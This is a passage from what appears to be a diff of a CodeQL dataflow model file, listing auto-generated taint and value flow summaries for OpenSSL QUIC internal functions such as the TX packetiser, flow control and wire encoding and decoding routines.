"ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ch].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[**ch].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[**ch].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_new_local_cid", "(QUIC_TSERVER *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[**ch].Field[*cur_local_cid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_new_local_cid", "(QUIC_TSERVER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[**ch].Field[*cur_local_cid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_new_local_cid", "(QUIC_TSERVER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_psk_find_session_cb", "(QUIC_TSERVER *,SSL_psk_find_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[**tls].Field[*psk_find_session_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_stream_new", "(QUIC_TSERVER *,int,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tserver_write", "(QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_write", "(QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_add_unvalidated_credit", "(OSSL_QUIC_TX_PACKETISER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*unvalidated_credit]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_consume_unvalidated_credit", "(OSSL_QUIC_TX_PACKETISER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*unvalidated_credit]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_get_next_pn", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[*0].Field[*next_pn]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_get_next_pn", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_new", "(const OSSL_QUIC_TX_PACKETISER_ARGS *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_new", "(const OSSL_QUIC_TX_PACKETISER_ARGS *)", "", "Argument[0]", "ReturnValue[*].Field[*args]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_record_received_closing_bytes", "(OSSL_QUIC_TX_PACKETISER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*closing_bytes_recv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_ack", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*want_ack]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_ack_eliciting", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*force_ack_eliciting]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_conn_close", "(OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[1]", "Argument[*0].Field[*conn_close_frame]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_conn_close", "(OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***ack_tx_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ack_tx_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*ack_tx_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*ack_tx_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_dcid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*args].Field[*cur_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_dcid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*args].Field[*cur_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_dcid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_scid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*args].Field[*cur_scid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_scid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*args].Field[*cur_scid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_scid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[**4]", "Argument[*0].Field[***initial_token_free_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[*1]", "Argument[*0].Field[**initial_token]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[*4]", "Argument[*0].Field[**initial_token_free_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[1]", "Argument[*0].Field[*initial_token]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[2]", "Argument[*0].Field[*initial_token_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[3]", "Argument[*0].Field[*initial_token_free_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[4]", "Argument[*0].Field[*initial_token_free_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback", "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0].Field[**msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback", "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback", "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0].Field[*msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback_arg", "(OSSL_QUIC_TX_PACKETISER *,void *)", "", "Argument[**1]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback_arg", "(OSSL_QUIC_TX_PACKETISER *,void *)", "", "Argument[*1]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback_arg", "(OSSL_QUIC_TX_PACKETISER *,void *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_protocol_version", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*args].Field[*protocol_version]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[*fifd].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[*fifd].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*fifd].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*fifd].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_bump_cwm", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[**parent].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[*0].Field[*cwm]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[*0].Field[*swm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_cwm", "(QUIC_TXFC *)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_parent", "(QUIC_TXFC *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_parent", "(QUIC_TXFC *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_swm", "(QUIC_TXFC *)", "", "Argument[*0].Field[*swm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_has_become_blocked", "(QUIC_TXFC *,int)", "", "Argument[*0].Field[*has_become_blocked]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_init", "(QUIC_TXFC *,QUIC_TXFC *)", "", "Argument[*1]", "Argument[*0].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_init", "(QUIC_TXFC *,QUIC_TXFC *)", "", "Argument[1]", "Argument[*0].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_get_in_use", "(const QUIC_TXPIM *)", "", "Argument[*0].Field[*in_use]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_add_cfq_item", "(QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *)", "", "Argument[*1]", "Argument[*0].Field[**retx_head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_add_cfq_item", "(QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*retx_head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_append_chunk", "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)", "", "Argument[*1]", "Argument[*0].Field[**chunks]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_append_chunk", "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)", "", "Argument[1]", "Argument[*0].Field[**chunks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_append_chunk", "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_get_chunks", "(const QUIC_TXPIM_PKT *)", "", "Argument[*0].Field[**chunks]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_get_chunks", "(const QUIC_TXPIM_PKT *)", "", "Argument[*0].Field[*chunks]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_get_num_chunks", "(const QUIC_TXPIM_PKT *)", "", "Argument[*0].Field[*num_chunks]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_release", "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_release", "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*tail]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_release", "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*1].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_validate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *)", "", "Argument[*3].Field[*id]", "Argument[*3].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_validate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode_unchecked", "(const unsigned char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode_unchecked", "(const unsigned char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_encode", "(uint8_t *,unsigned char *,uint64_t)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_encode_n", "(uint8_t *,unsigned char *,uint64_t,int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_ack", "(PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *)", "", "Argument[1]", "Argument[*2].Field[*delay_time].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_conn_close", "(PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_crypto", "(PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_crypto", "(PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_data_blocked", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_data", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_stream_data", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_stream_data", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_max_streams", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_conn_id", "(PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_token", "(PACKET *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_token", "(PACKET *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_new_token", "(PACKET *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_path_challenge", "(PACKET *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_path_response", "(PACKET *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_reset_stream", "(PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_retire_conn_id", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stop_sending", "(PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream", "(PACKET *,int,OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream", "(PACKET *,int,OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream_data_blocked", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_stream_data_blocked", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_streams_blocked", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_padding", "(PACKET *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr", "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)", "", "Argument[*5].Field[*raw_sample]", "Argument[*5].Field[*raw_sample_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr", "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)", "", "Argument[2]", "Argument[*4].Field[*partial]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr", "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_pkt_hdr_pn", "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_bytes", "(PACKET *,uint64_t *,size_t *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_cid", "(PACKET *,uint64_t *,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_cid", "(PACKET *,uint64_t *,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_int", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_int", "(PACKET *,uint64_t *,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_transport_param_preferred_addr", "(PACKET *,QUIC_PREFERRED_ADDR *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_conn_close", "(WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_crypto", "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_new_conn_id", "(WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_new_token", "(WPACKET *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_frame_stream", "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_padding", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_encode_pkt_hdr", "(WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*3].Field[*raw_sample]", "Argument[*3].Field[*raw_sample_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_pkt_hdr_pn", "(QUIC_PN,unsigned char *,size_t)", "", "Argument[0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_transport_param_bytes", "(WPACKET *,uint64_t,const unsigned char *,size_t)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_transport_param_bytes", "(WPACKET *,uint64_t,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_encode_transport_param_cid", "(WPACKET *,uint64_t,const QUIC_CONN_ID *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_get_encoded_pkt_hdr_len", "(size_t,const QUIC_PKT_HDR *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*3].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[*0]", "Argument[*3].Field[*id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*3].Field[*id]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*3].Field[*id_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_get_pkt_hdr_dst_conn_id", "(const unsigned char *,size_t,size_t,QUIC_CONN_ID 